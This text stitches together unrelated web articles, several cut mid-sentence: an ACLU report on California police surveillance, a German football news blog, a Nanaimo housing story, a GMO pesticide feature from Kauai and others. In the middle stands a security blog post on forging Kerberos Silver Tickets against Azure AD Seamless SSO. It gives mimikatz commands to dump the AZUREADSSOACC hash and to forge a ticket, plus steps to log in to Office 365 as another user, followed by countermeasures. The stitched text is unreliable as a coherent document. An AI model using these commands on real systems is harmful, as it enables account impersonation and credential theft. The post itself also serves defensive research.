25 minutes.... Rick Fox, who helped the Lakers win three
championships before retiring after the 2003-04 season, was honored
in a brief ceremony after the first quarter.Law enforcement agencies throughout Southern California and the state now track everyday Americans with little public oversight using surveillance equipment straight out of a spy thriller, according to a report from the American Civil Liberties Union of California.
The ACLU’s report, released this week, found that while 40 California counties and 50 of its largest cities spent more than $65 million on surveillance in the past decade, few hosted public debates or disclosed the policies they use to prevent misuse.
Devices ranging from automated license plate readers, which record millions of Angelenos’ locations each week, to drones and cell phone interceptors once used to weed out terrorists, are now covertly deployed to solve traditional crimes in Los Angeles and San Bernardino counties.
“Law enforcement agencies shouldn’t make decisions about whether or not to use surveillance technologies in secret. The public has a right to know how they’re being policed,” said Peter Bibring, police practices director for the ACLU of California. “High-tech surveillance tools can too easily be abused when the public is kept in the dark, and police transparency is key to maintaining the public’s trust.”
The civil liberties group found that only five out of 90 communities with surveillance hosted public debates for each invasive technology. Only one in five made policies for their equipment publicly available.
“Up and down the state, we’re increasingly getting calls from community members that are upset that invasive technology is showing up in their communities and they hadn’t even heard it was considered,” said Nicole Ozer, ACLU of California’s technology and civil liberties director. “When surveillance equipment is deployed without thoughtful debate, without careful consideration of the cost and benefits and without strong policies, it is not good for anyone.”
Approximately $45 million went to equipment, while the other $20 million paid for infrastructure such as data storage centers, according to the ACLU. The civil rights group released the data along with a guide for communities, law enforcement agencies and residents designed to ensure technologies are evaluated before implementation.
The ACLU combed through years of city council meetings, board of supervisors’ minutes and committee agendas to compile its report. The ACLU’s findings likely underrepresent the amount spent and the technology obtained because they list only the equipment approved in a public meeting, Ozer said. Some agencies use federal grants or money from police foundations which bypass typical budget oversight processes.
“Just the tip of the iceberg goes through the public process,” Ozer said.
In October, ProPublica found that both the LAPD and the NYPD used millions from police foundations — whose coffers were filled by corporations — to buy surveillance equipment.
UCLA Luskin School of Public Affairs Professor Jorja Leap works with gangs and high-crime communities in Los Angeles.
“I do think we need to make use of these technologies, however, we do need to be more transparent and have legal safeguards — like the warrants that are required — but I do think there needs to be more active public dialogue about this,” Leap said. “I think we need to recast the argument and not see it in polarized terms, it is not ‘either or,’ it’s ‘and.’ Yes, we should have it, and yes, we should have robust oversight.”
Automated license plate readers and cell phone interceptors let police work quickly, safely and efficiently to crack cases that would take longer using traditional methods, she said. License plate readers cut out the need for an officer to manually run a plate.
“The computer automatically reads it and sends a message to the police officer that this car has been found in the database,” she said. “There is no way you could do that as rapidly with good ol’ fashioned police work.”
Even cell phone interceptors, which locate and pull data from phones within a given area, provide more benefits than intrusions, she said. The important part is making sure community members — particularly those where these technologies are most deployed — are involved in the oversight.
“You don’t need a community member from Bel Air or Pacific Palisades, you need community members from the high-crime ares,” Leap said. “It is these community members in these areas who are very much in favor of these technologies, because they want to live in safe communities, but they also want them utilized in the right ways.”
Southland Surveillance
Roughly $13 million, or 30 percent, of the total state spending for equipment came from Los Angeles and San Bernardino counties, according to the ACLU’s data. The three biggest organizations, the LAPD, Los Angeles County Sheriff’s Department and San Bernardino County Sheriff’s Department, did not respond to requests for comment before publication.
One of the most invasive technologies, a cell phone interceptor called StingRay, is used by all three agencies. The StingRay mimics a cell phone tower and collects identifying data from any device used within its range. It was originally supplied to agencies as a counter-terrorism device, but in 2012, the First Amendment Coalition found it was used 21 times by the LAPD in a four-month period, for crimes ranging from murders and kidnappings to missing persons, burglaries and stalking.
The StingRay is troubling to many because it’s unclear whether such a device requires judicial oversight or if police even bother to obtain warrants, according to the coalition’s executive director, Peter Scheer.
“It certainly has the ability to record the phone numbers of everybody in that vicinity,” Scheer said. “They may be focusing on one person, but they’re gathering information on everybody else.”
A tax filing obtained by ProPublica showed the LAPD used nearly $25,000 from its police foundation to upgrade a cell phone interceptor monitoring drug sales in Skid Row. It’s unclear if the device is permanently located in the area.
The ACLU’s research shows Los Angeles spent at least $6 million to obtain 279 devices ranging from license plate readers to drones and body cameras. Only some went through a public process. Los Angeles is one of three California cities known to have drones. The Los Angeles Police Commission in September grounded the two drones until the department adopts an official policy. Ozer noted the LAPD asked the ACLU for guidance on its drones.
“There are definitely good models that are happening up and down the state, but it’s about making sure those pieces are coming together and that there is a consistent process being used when surveillance equipment is purchased,” she said.
Los Angeles County spent roughly $2.3 million on its technologies, many of which mirrored the LAPD’s requisitions. The ACLU sued both the county and the LAPD earlier this year when the two agencies refused to release data from license plate readers, which scan more than 3 million plates per week. The collected information is shared between state and federal agencies.
Other cities, including Pasadena, Burbank, Inglewood, Glendale and Long Beach, were found to use at least automated plate readers. The report showed that both Long Beach and Pasadena had public debates before implementing that technology. Pasadena began using plate readers roughly five years ago.
Pasadena Police spokeswoman Lt. Tracy Ybarra said the city’s practice for all departments is to present new technology as transparently as possible.
In San Bernardino County, Redlands spent $1.2 million on automated license plate readers and video surveillance equipment. But Redlands’ Public Information officer Carl Baker says the ACLU’s information is incorrect. While the city did not publicly vet its lone automated license plate reader, it did have meetings with citizens about its video surveillance program and even formed a citizen’s committee that met with the chief, he said.
“The chief laid out exactly what was proposed, what was being installed and invited the public to come and see the center where the cameras were monitored,” Baker said. The city paid for the cameras with grant funding and donations, he said.
Redlands fixed its one license plate reader to a police cruiser.
“We’re not doing what another use of those systems is, which is to tell you whether someone has entered or left your city,” he said.+++EM-Newsblog+++
Hummels im Halbfinale gesperrt
Gegen Italien sah er zum zweiten Mal Gelb und wird im Halbfinale nicht dabei sein: Mats Hummels. Außerdem im EM-Newsblog: Auf der Fanmeile vor dem Eiffelturm hat es offenbar eine kurze Panik gegeben.
REUTERS Mats Hummels
@@23.50 Uhr
Abwehrspieler Mats Hummels fehlt der deutschen Fußball-Nationalmannschaft im EM-Halbfinale am kommenden Donnerstag (21 Uhr in Marseille). Der 27 Jahre alte Neuzugang von Bayern München sah im Viertelfinale gegen Italien (6:5 i.E.) am Samstagabend in der 90. Minute seine zweite gelbe Karte bei der EM. Die DFB-Elf trifft im Halbfinale auf Gastgeber Frankreich oder Island.
Im zweiten Halbfinale, Portugal gegen Wales, sind wegen gelben Karten ebenfalls Spieler gesperrt:
Wales fehlt Aaron Ramsey, der Freitagabend ein überragendes Spiel gegen Belgien gemacht hatte.
Gesperrt ist außerdem Ramseys Teamkollege Ben Davies.
Und dem Wales-Gegner Portugal fehlt William Carvalho, der sich gegen Polen seine zweite Verwarnung eingehandelt hatte.
Von den genannten Sperren abgesehen, verfallen zum Halbfinale die bisher ausgesprochenen Verwarnungen.
@@23.25 Uhr
Pariser Fanmeile: Kurze Panik bei Deutschland |
Oct. 2, DeGeneres was among the first celebrities to tweet a link to the victims’ fund set up by Clark County Commission Chairman Steve Sisolak, asking her 74 million followers to donate. Wednesday’s show also included a plug for ways to help the shooting victims.
“We of course wanted to give you money,” DeGeneres told Campos and Schuck at the end of their appearance. “And you both were very, very specific. You said you don’t want money, you don’t want money at all. So you’re not getting any money.”
Instead, she told Schuck that the NFL would fly him to to see his favorite team, the Indianapolis Colts, and provide him with VIP tickets.
For his participation, Campos was given season tickets for the Raiders’ first year in Las Vegas by Shutterfly, “The Ellen DeGeneres Show’s” philanthropic partner, which also donated $25,000 in Campos’ name to the fund started by Sisolak.
Contact Christopher Lawrence at clawrence@reviewjournal.com or 702-380-4567. Follow @life_onthecouch on Twitter. Review-Journal reporter Rachel Crosby contributed to this report.Housing complex will be given a new name and upgrades as Nanaimo Aboriginal Centre takes ownership
TAMARA CUNNINGHAM/News Bulletin The community lends its support as Nanaimo Aboriginal Centre prepares to take ownership of King Arthur Court housing complex on Fifth Street. Chris Beaton, executive director of the aboriginal centre, is surrounded by Kim Krieger, left, membership director of the Young Professionals of Nanaimo, Joy Bremner, president of Mid Island Métis Nation, Sarah Foster, director of programs for Boys and Girls Clubs of Central Vancouver Island, John Horn, City of Nanaimo social planner, Lesley Clarke, executive director of Nanaimo Women’s Centre, Heather Campbell, president of the Harewood Neighbourhood Association, and Deryk Mortensen, store manager at Lowes Nanaimo.
A Nanaimo non-profit is taking ownership of the notorious King Arthur Court, with plans to change the dynamic and spruce up living conditions.
Nanaimo Aboriginal Centre will purchase the housing complex this May and upgrade suites with $4.6 million from B.C. Housing.
King Arthur Court, a townhouse complex on Fifth Street, has a history of incidents, from stabbings to assault, noise and disturbances.
Last year, two children pricked their fingers on syringes discarded in a stump on the property.
It’s been labelled a nuisance property twice by the city in six years – the latest just last year – and more than $7,400 has been billed to the owners for calls for service by the RCMP since 2009, according to John Horn, the city’s social planner.
But Nanaimo Aboriginal Centre sees potential.
The location is close to schools, public transit and steps from University Village mall. Chris Beaton, executive director, said it’s in a neighbourhood that’s probably under-serviced and would benefit from more programs and services. The site can also be redeveloped.
More than anything, Beaton said, the goal for the centre in buying the complex is to maintain the stock of affordable housing in the area.
“We’re maintaining 35 units of affordable housing in central south end of Nanaimo. That’s important,” said Beaton, who says the centre saw it as an ideal project to develop and were lucky to get support from B.C. Housing to do it.
Nanaimo Aboriginal Centre proposes renaming the complex Sanala, Kwakwaka’wakw for ‘to be whole’ socially, emotionally, physically and mentally. It will maintain neighbours who are good tenants right now, and address health and safety issues immediately after taking ownership May 5, such as installing new locks on front doors, repairing broken glass in windows and fixing ceilings.
“There’s 50 children living on this site and a lot of families, over 100 tenants in total; those tenants deserve safe, affordable housing just as much as anybody else,” said Beaton, who told the News Bulletin basic repairs and maintenance haven’t been looked after for many years and will be the priority for the next eight to 10 months.
“At the same time, we realize there’s potential there to redevelop that site to put a lot more density on that site in the future, so we’ll be working with the tenants to come up with plans for that expansion for the next two to five years.”
Upgrades will begin in vacant spaces on the property and the centre will work with tenants to shuffle people into improved units. One unit will become the Harewood Neighbourhood House, an amenity space that program and service providers like Nanaimo Women’s Centre and the Boys and Girls Clubs of Central Vancouver Island can use free of charge.
Beaton said the idea is to make it as easy as possible for children and families to access programs and services.
The centre also wants to change the dynamic on the property so people are proud of where they live and feel safe.
The centre has seen groups, clubs and businesses reach out to ask how they can help get the work done, including Lowes Heroes.
“We look for an organization that wants to help maybe the less fortunate, help them love where they live and the Nanaimo aboriginal society is doing that with this project,” said Deryk Mortensen, store manager.
“There are 50-plus children, lots of families in here that may not have the best living conditions and if we can just be a small part in helping renovate their exterior and their community space that’s kind of the first step to help them love where they live.”
The property will get its nuisance designation lifted with new owners, but Horn, social planner, said the city is eager to see the new owner address some of the nuisance concerns that have been longstanding in the building. Horn said many of the concerns can be addressed with good management.
Nanaimo Aboriginal Centre also currently has affordable housing under construction on Bowen Road.
– with files from Chris Bush
news@nanaimobulletin.comIntroduction
Last month, Microsoft has introduced a new feature of Azure AD Connect called Single Sign On. It allows companies to configure SSO between AD and AAD without the need to deploy ADFS, which makes it an ideal solution for SMEs. Here is a high-level diagram of this functionality:
As we can see from the diagram above, Azure AD exposes a publicly available endpoint that accepts Kerberos tickets and translates them into SAML and JWT tokens, which are understood and trusted by other cloud services like Office 365, Azure or Salesforce. And wherever you have Kerberos-based authentication, it can be attacked using Silver Tickets.
In usual circumstances this attack can only be performed from the intranet. But what really caught my attention is the fact that with this new SSO feature, Silver Tickets could be used from the entire internet. Let’s give it a try then!
The Nasty Stuff
To test this technique, we need to retrieve some information from Active Directory first:
NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd. This value can be retrieved from AD using mimikatz:
1 mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
My own DSInternals PowerShell Module could do the same job:
1 2 Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso ` -Server lon -dc1. contoso. local
Both of these commands need Domain Admins permissions. Name of the AD domain, e.g. contoso.local. AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.
Having this information we can now create and use the Silver Ticket on any Windows computer connected to the internet. It does not even matter whether it is joined to a domain or a workgroup:
Create the Silver Ticket and inject it into Kerberos cache:
1 2 3 4 mimikatz.exe " kerberos :: golden / user : elrond / sid : S - 1 - 5 - 21 - 2121516926 - 2695913149 - 3163778339 / id : 1234 / domain : contoso.local / rc4 : f9969e088b2c13d93833d0ce436c76dd / target : aadg.windows.net.nsatc.net / service : HTTP / ptt " exit Launch Mozilla Firefox. Go to about:config and set the network.negotiate-auth.trusted-uris preference to value “https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com”. Navigate to any web application that is integrated with our AAD domain. We will use Office 365, which is the most commonly used one. Once at the logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
That’s it, we’re in! To log in as another user, run the command below and repeat steps 1-6.
1 klist purge
It is also worth noting that the password of the AZUREADSSOACC account never changes, so the stolen hash/key will work forever. It could therefore be misused by highly privileged employees to retain access to the IT environment after leaving the company. Dealing with such situations is a much broader problem, which is aptly depicted by the following old Narnian saying:
Countermeasures
First of all, I have to point out that this technique would not be very practical in real-world situations due to these reasons:
The SSO feature is in Preview and has to be explicitly enabled by an AD admin. Just a handful of companies probably use it at the time of writing this article and enterprises will quite surely stick to their proven ADFS deployments even after this feature reaches GA.
The hash/key of the AZUREADSSOACC account can only be retrieved by Domain Admins from DCs by default. But if an attacker had such highly privileged access to an Active Directory domain, he/she would be able to do some way nastier stuff than just replicating a single hash.
The password of the AZUREADSSOACC account is randomly generated during the deployment of Azure AD Connect. It would therefore be impossible to guess this password.
As you can see, there is simply no need to panic. But just to be safe, I would recommend these generic security measures:
Only delegate administrative access to trusted individuals and keep the number of members of the Domain Admins group (and other privileged groups) as low as possible.
Protect backups of Domain Controllers, so no-one could extract sensitive information from them.
Enable and enforce Azure MFA for users authenticating from external IP addresses. It is very straightforward and effective against many kinds of attacks.
Consider implementing Azure AD conditional access.
Deploy Microsoft Advanced Threat Analytics to detect malicious replication and other threats to your AD infrastructure.
Force a password change on the AZUREADSSOACC account by re-deploying Azure AD Connect SSO running the Update-AzureSSOForest cmdlet after a highly privileged employee leaves the company and/or on a regular basis. This should be done together with resetting the password of krbtgt and other sensitive accounts.
Conclusion
Although the Silver Ticket attack has been here for some years, it is now probably the first time it can be used over the internet against a cloud service, which theoretically makes it even more potent. On the other hand, it would be quite hard to perform this technique in a real-world environment due to impracticalities discussed in the previous section, so there is no need to worry. The new Seamless SSO feature of Azure AD Connect can therefore be considered safe and preferred solution for SSO to Office 365.
Tags: Active Directory, Microsoft Azure, Mimikatz, Office 365, SecurityThere is a whiff of bubblegum scent in the air as I drive toward Waimea Town and past the sprawling, fields of red earth operated by the agri-biotech companies flanking Kauai’s Highway 50. Just before reaching the bridge over Waimea River, which separates the fields from the town, I hang a left and pull into a gravel parking lot. There are only two other vehicles there. Wendell Kabutan and Klayton Kubo are waiting by them. They live in Waimea, on the street closest to the biotech fields, but they didn’t want to meet in public. It has been less than a month since the Kauai County Council passed a measure requiring large agricultural companies to disclose their pesticide use and genetically modified crop locations on Hawaii’s Garden Island. The legislation has been bitterly divisive in Waimea’s hardscrabble but tight-knit community, where many residents work in the company fields. Emotions are still raw and locals are wary of meeting with journalists.
Kubo, a housepainter and single parent in his late forties, has just gotten off work and is still in his paint-splattered shorts, t-shirt, and sunglasses. He points to the field behind us where a few tractors are going to and fro, raising little clouds of dust. “This one is Pioneer’s,” he says. “This week would make it six weeks straight that they’ve been spraying. It’s been 13 years and they are still doing it.” He lets out a sharp, frustrated breath. “Nothing has changed.”
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Kabutan, a silver-haired retired Hawaiian Airlines ground-crew worker, says he has been having trouble breathing since the biotech companies started spraying heavy doses of pesticides. Previously the chemicals used to smell acrid, he says. “The first time I smelled it I thought my neighbor’s house was burning down. Now they use a bubblegum scent to cover it up.” Kabutan’s respiratory issues have landed him in the emergency room several times, though the doctors could never figure out what the problem was. Now he runs an air filter in his bedroom to help him sleep. “I nearly died once,” he says. “Had to spend three days in the ICU. But I’ve stopped taking medicines because nothing’s working, not when you are breathing the stuff every day.” In 2011, his wife was diagnosed with breast cancer and had to undergo surgery. “I know it’s linked to atrazine,” he says, referring to a pesticide that is a known endocrine disruptor.
Kabutan starts listing the litany of ailments plaguing other Waimea residents: “My neighbor across from my house has leukemia. Two houses down the road the husband had to go to the emergency room three times because he couldn’t breathe and his three children all have asthma. There are seven confirmed cancer cases just on our side of the road. If you add the other side of the road, the one that goes toward the ocean, it would be nine cases. Almost all the kids have respiratory problems or nose bleeds or rashes.” He pauses and shakes his head. “We are all screwed.”
It was health worries such as these that sparked Kauai’s grassroots backlash against large-scale biotech agriculture on the island. In November, after months of political wrangling and several dramatic plot twists, the Kauai County Council passed Bill 2491. Then, on December 6, the Big Island passed a bill restricting biotech companies and farmers from growing any new genetically modified crops there. That same day, a GMO regulatory bill similar to Kauai’s 2491 was introduced on Maui Island. The local measures in Hawaii marked a major victory for sustainable agriculture advocates opposed to genetically engineered foods, especially coming after setbacks in California and Washington, where voters defeated GMO-labeling ballot initiatives. Suddenly, the state of Hawaii, and Kauai especially, has become the most heated battleground in the long-running war over GM agriculture.
“The thing with the Kauai bill is that it exposes the link between GMOs and pesticides,” says Bill Freese of the Center for Food Safety. The Kauai measure is important, Freese says, because it skips the question of whether GMOs are safe for human consumption and instead focuses on the issue of public health in farming communities. “It’s indisputable that the GMOs that are being grown commercially have sharply increased pesticide use, despite industry claims.”
Most mainlanders probably don’t think of Hawaii as a center of industrial agriculture. But in just the last decade the state has become a crucial testing ground for the global seed industry. The five big biotech companies that dominate seed production – Monsanto, Dow, Pioneer-DuPont, BASF, and Syngenta – each have massive operations in the state that together occupy tens of thousands of acres of former sugar and pineapple plantations. The companies have found that the islands’ subtropical climate is the perfect environment to grow and test transgenic seeds, largely corn, but also some soy, canola, and rice varieties. Hawaii has the largest number of experimental GM crops in the United States, with more field tests than any other state. Biotech seed farms comprise the state’s largest agricultural sector, valued at about $240 million and employing some 1,400 people. The seed industry proudly claims that almost every ear of GM corn in the global market today has spent some part of its life cycle in the Aloha State.
In Kauai, four of the Big Five biotech companies manage about 15,000 acres of land. (Monsanto used to have a small operation there, but it packed up in 2010.) Much of this activity is on the island’s west side, where the weather is sunnier and drier than the more rain-prone north and east sides.
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The people of Waimea hadn’t gone looking for a fight with Big Biotech. Quite the opposite. The closures of the pineapple and sugarcane plantations through the 1990s left behind hundreds of jobless agricultural workers in Kauai. So when the seed companies arrived in the late 1990s, most people were happy. There were jobs to be had again. The companies were hiring just about anybody, sometimes entire families, including grandparents who could sit in the fields with umbrellas – human scarecrows to chase away birds and feral chickens. Most of the west-siders had either worked or grown up in the shadow of the plantations. The seed companies offered the comfort of the familiar.
Until the dust kicked up.
When the fields around Waimea were growing sugarcane, they were harvested once a year. But Hawaii’s warm climate allows for three to four corn or soy harvests in a year – which is what drew the big biotech companies to the islands in the first place. The multiple harvests meant that the fields were now tilled much more frequently, and treated with fertilizers and a cocktail of pesticides more often as well. Repeated tilling created a lot of loose, chemical-laden soil that swept into Waimea. The red dust landed on the streets and on the cars, snuck into houses and coated everything – windows, floors, and appliances, even dishes in the cupboards.
Kubo, whose home is downwind from Pioneer’s fields, complained to the company. “I’m a broken record kind of guy. I just repeat, repeat, repeat until I get the point across,” he says. But Pioneer didn’t get the point. As the years went by, anecdotal evidence of health problems – asthma, allergies, cancer, birth defects, learning disabilities – many of which could be linked to pesticide exposure, began piling up. On at least three occasions, students and teachers at Waimea Canyon Middle School, which is near a Syngenta field, complained of noxious odors that made them sick. In one instance the school had to be evacuated and some children were sent to the emergency room. Syngenta claims the odor was from stinkweed from a field they were clearing; few locals buy that explanation.
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(I contacted BASF, Dow, Pioneer, and Syngenta for this story, and was referred to the Hawaii Crop Improvement Association. The association did not respond to calls and detailed questions sent via email. Dow officials gave me an antiseptic tour of their fields and kindly offered to organize a trip on a whale-watching cruise, which I turned down.)
Marghee Maupin, a primary care provider at the Kauai Community Health Center in Waimea who treats both fieldworkers and local residents, says she’s never seen so many patients come in with rashes, skin blisters, and respiratory ailments. “I hear of children waking up in the morning with blood on the pillow, I see people with asthma flare-ups on whom standard treatments [like steroids, heavy-duty drugs] don’t work,” she says. Maupin often comes home in tears, distressed that she doesn’t know how to help her patients. “A big problem is we don’t know what they are spraying, so it’s hard draw any conclusions.”
After more than a decade of putting up with the dust and the health problems, in December 2011, 130 Waimea households, including Kubo’s and Kabutan’s, filed a lawsuit against Pioneer. The suit alleged that the company had failed to prevent fugitive dust and pesticides from blowing into Waimea and was thus endangering the community’s health and area property values. The case is currently in litigation.
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Gradually, other west-siders – especially parents, doctors, nurses, and teachers – began speaking out against the seed industry, risking the ire of their industry-employed neighbors. As word of the west side’s tribulations began spreading across the island to the more affluent north and south sides – areas with organic farms, a growing local food economy, and a deep distrust of industrial agriculture – people began to mobilize. Students, pro-surfers, and others joined with west-siders and veteran social-justice and environmental activists. They reached out to a local councilmember, Gary Hooser.
During an eight-year stint as a state senator, Hooser had introduced several bills seeking more regulation of GM field trials in Hawaii. Now, as a councilman, he began quizzing the seed companies about their pesticide use. They told him they were “only using what other farmers [were] using.” They said they weren’t using atrazine anymore. But they wouldn’t give him a full list of the chemicals they were spraying. Hooser filed freedom of information requests with the state and found out the companies were lying. Records revealed that apart from general-use pesticides, the biotech companies were annually spraying at least 18 tons of 22 kinds of “Restricted Use Pesticides” – chemicals so toxic that they require special-use permits from the US EPA and need to be applied by licensed applicators wearing protective gear. He also learned that the biotech companies were applying pesticides on their fields nearly 250 days of the year.
“The more they lied to me, the more angry I got and the less I trusted them,” Hooser said when I met him at a café in Kapaa on Kauai’s east side.
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In June 2013, Hooser and a fellow councilmember, Tim Bynum, introduced Bill 2491. It called for punitive measures against companies that refused to disclose their pesticide use or failed to set up buffer zones around fields located near homes and public spaces. It also required that the county investigate the impact of pesticide exposure on local residents and the environment.
The bill gave a tremendous boost to Hawaii’s food justice movement, which had earlier fought off efforts to genetically modify coffee and taro, a starchy root that is sacred to Hawaiians. “We went from a handful of people holding signs at the side of the road to literally thousands marching down the streets,” says Fern Rosenstiel, co-founder of ‘Ohana O Kaua‘i, a local environmental and community rights group.
The biotech companies fought back, vilifying 2491 as an attack against the “hardworking farmers of Kauai.” They got politicians to weigh in on their behalf, put out expensive ads, and sent workers to testify against the bill at county council meetings. The meetings turned into marathon face-offs between red-shirted bill proponents and blue-shirted opponents, inspiring many media references to “an island divided.”
Bill 2491 was finally passed on November 18, after the council overrode a veto by Kauai Mayor Barnard Carvalho. Many local activists were thrilled by the outcome. “It’s a good time for grassroots democracy, ” Hooser told me during our Kapaa meeting. “People are getting akamai [wise]; they are understanding what’s going on. It’s becoming harder for politicians and corporations to pull wool over their eyes.”
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Kabutan and Kubo are more cautious in their optimism. “Remember, [the companies] have billions of dollars, billions of dollars! It won’t cost them much to make a few troublemakers disappear,” Kubo warned darkly.
The seed companies don’t need to employ such sinister methods. They have massive legal teams that can operate in the bright light of day. One month after my meeting with Kabutan and Kubo, the biotech industry fired its first retaliatory salvo. On January 11, Pioneer-DuPont, Syngenta, and Dowfiled a lawsuit in a federal court seeking to block Kauai’s new law. Their complaint: Bill 2491 was explicitly drafted “to discriminate against GM seed farming operations on Kauai.” Soon after, state politicians joined in the fray. On January 23, a group of Hawaii legislators introduced bills in the House and Senate seeking to amend Hawaii’s Right to Farm Act to include language that would make it illegal for counties to pass laws that limit the rights of farmers “to engage in modern farming and ranching practices.”
Like the larger, international battle over GM crops, the political fight in the Hawaiian Islands can be distilled down to a debate over whether “modern farming and ranching” – that is, highly concentrated and industrialized farming – is a social good. While GM supporters say biotechnology is essential for feeding a growing human population, critics counter that such technologies are dangerous since they reduce biodiversity and often lead to more chemical use.
Clearly, not everyone in Hawaii views the seed companies as the bad guys. Kauai’s Mayor Carvalho, who “grew up around plantations,” told me: “This is Hawaii; it’s different from Iowa or Nebraska. It’s always been large ag here.… People might not understand, but this kind of agriculture really feeds our families.” When I pointed out that none of the seed companies in Hawaii are actually growing food for local consumption, he laughed: “You are not feeding yourself, but you are feeding other parts of the world that need help, too. Let’s spread our aloha!”
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That’s the standard argument from the GM industry (minus the aloha part), says Glenn Davis Stone, a professor of anthropology and environmental studies at Washington University. “The claim that we need GM crops to feed the world is silly, but we keep hearing it over and over again. We certainly make enough food in the world; we make too much food, and we make it badly,” he says. The reason people still go hungry across the world has little to do with production, he says, and a lot to do with what World Health Organization calls “maldistribution and inequality.”
Stone says the “feed the world” argument is part of the “deceptive rhetoric” and “soundbite science” that people on both sides of the GMO debate tend to use. He faults both the anti- and pro-biotech lobbies with lumping all GMOs together – portraying them as either a monolithic threat to our environment, health, and food systems, or as a panacea for current and future food shortages and crop blights.
Most of the pro lobby obscures the differences between corporate and publicly funded crop biotechnology in order to create a more positive image of GMOs. The industry hails experimental crops like the much-hyped vitamin-A enriched Golden Rice. In Hawaii particularly, the industry advertises the success of the ringspot-resistant papaya, engineered to resist a virus that once threatened to wipe out the fruit from the islands plantations (although the virus is less of a problem for many small growers). But the papaya was developed by government scientists, not by biotech corporations, which have largely focused on commodity crops like corn, soy, and cotton, where the profit margin is higher.
The green lobby, too, obscures differences between corporate and public sector efforts by painting all GMOs as bad and not evaluating different transgenic products on a case-by-case basis, Stone says. Maybe that’s because it’s easier to mobilize people around one big monolithic idea than an idea that makes room for nuances.
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Stone may have a point, agrees Bill Freese at the Center for Food Safety, one of the leading critics of GMOs. “At CFS we do take that nuanced approach and look at GMOs on a case-by-case basis,” he says. “But we focus on crops that are being grown commercially or are being considered for approval.” Freese points out that the vast majority of the GM crops currently in use have been engineered for just a couple of traits: They are resistant to herbicides, mostly to glyphosate, the active ingredient of Monsanto’s Roundup weed killer; or they are resistant to pests, i.e., they contain the Bt gene that fights off marauding insects and worms. Transgenic crops that don’t have either of these two traits make up less than 1 percent of the estimated 420 million acres worldwide that are planted with GM crops.
GMO critics warn that weeds are naturally evolving to withstand the chemicals meant to kill them. Last year, 49 percent of all US farmers said they had weeds on their farms that were resistant to glyphosate, up from 34 percent in 2011. (Meanwhile, at least one pest, the western corn rootworm, has begun to show resistance to Bt corn.) To deal with the evolved weeds, farmers are not only using more Roundup, they’ve also started relying on older, more toxic herbicides like 2,4 D, an active ingredient of Agent Orange, the Vietnam War-era defoliant that’s linked to reproductive problems and cancer. Research by University of Washington agricultural scientist Charles Benbrook shows that herbicide-resistant crops have actually increased overall pesticide use by about 7 percent since GM crops were first introduced in 1996.
In Hawaii, where the end product of the GM fields is seed, pesticide use is already very high, Freese says. Since most of the GMO fields are in close proximity to neighborhoods and public places, the risk of exposure is high. “We are talking about toxic chemicals like atrazine and chlorophenoxies that have clearly been linked to development problems in kids, and paraquat, which is extremely toxic when inhaled and is linked to Parkinson’s disease and cancer,” Freese says.
Benbrook agrees that’s “a significant” chemical load. “The assumption here seems to be that if applying one dose of atrazine is OK, then so is three.” Environments have a certain ability to assimilate and process synthetic chemicals, but they have a breaking point. Hawaiians have “legitimate concerns” about what might be happening to the environment and to people living in the vicinity of the farms, he says.
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The pushback against the GMO industry in Hawaii is certainly part of the larger global movement against industrialized food systems in general and transgenic crops in particular. But as with every local struggle, it has aspects that are unique to its mise-en-scène.
For many Hawaiians, the GM seed industry’s growing presence and political clout represent the beginnings of a new form of colonialism – one where corporations have replaced the sugar barons who ran the state for more than a century. For them, the fight against GMOs isn’t just about agricultural practices and what kind of food we put on the table, it’s also part of a larger struggle to reclaim the islands’ political sovereignty. “To me the real underlying story in all of this is Hawaii is a occupied nation and it’s been used as an experimental station all along,” says Rosenstiel of ‘Ohana O Kaua‘i. “They test sonar, they test missiles, they sprayed Agent Orange here before using it in Vietnam, and now they are growing seeds for the largest human experiment ever.”
The struggle is also linked to other knotty issues such as consolidated land ownership and deeply entrenched power structures, and two centuries of alienation from a traditional, diversified agricultural system that had once sustained a robust Indigenous population in the islands. (Exhibit A, Carvalho’s comment: “It’s always been large ag here.”)
The five large seed companies, activists say, are all too reminiscent of the “Big Five” sugarcane companies – Alexander & Baldwin, Theo H Davies, Castle & Cooke, Amfac, and C Brewer – that once ran the islands like fiefdoms and lobbied for the US annexation of Hawaii. “It’s déjà vu, that’s the scary part,” says Walter Ritte, a veteran Hawaiian political and environmental activist from Molokai. “We haven’t learned any lessons.”
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The new “Big Five” quickly established themselves in the political scene still dominated by old haole(white) and Hawaiian family lines that have a stake in maintaining the status quo. The companies have wooed the influential, hired lobbyists, and put cash in politicians’ campaign coffers. From 2007 to January 2014, the biotech industry has spent at least $515,775 on campaign contributions in Hawaiian legislative, gubernatorial, and county council elections, according to an analysis by the Honolulu-based watchdog group, Babes Against Biotech.
Land ownership is another vexed issue. Hawaii is among the few US states that have more rented or leased farmland than farmer-owned properties (Illinois and Iowa are two other examples). Much of the state’s 280,000 acres of arable agricultural land belongs to trusts set up by erstwhile plantation barons and an educational trust called Kamehameha Schools, which was established by the last direct descendant of Hawaii’s last king, Kamehameha I. The trust owns about 365,000 acres across Hawaii.
These landowners prefer to strike deals with Big Ag outfits that can rent or buy huge land parcels in one go. Monsanto, for instance, bought 2,300 acres of prime agricultural land in Oahu from the James Campbell Estate in 2007 and has leased another 1,033 acres from Kamehameha Schools. In Kauai, Dow has a 50-year lease of 3,400 acres belonging to the Robinson family, one of the islands’ biggest landowners.
Scott Enright, the chair of the Hawaii Board of Agriculture, says leasing land to smaller farmers is a risk because most of them are first-timers who lack institutional knowledge. “The state or the private landholders can’t just lease land to anybody who steps off the street and says ‘we want to farm,’” he says. “As with any business enterprise, we need to know that we are backing a good project.… You have to have a degree of success assured.”
Which means small farmers like Ted Nakamura, who runs a three-acre organic farm on Oahu’s north shore, get the short end of the stick. Nakamura’s lease from Kamehameha Schools is renewed on a month-to-month basis. “When these politicians say they are for sustainability and then they rent out land to chemical companies, it’s a joke,” Nakamura says bitterly. “I want to make more farms, I want to show its possible to grow food and live off a farm, but I’m 62 and I’m getting disheartened.”
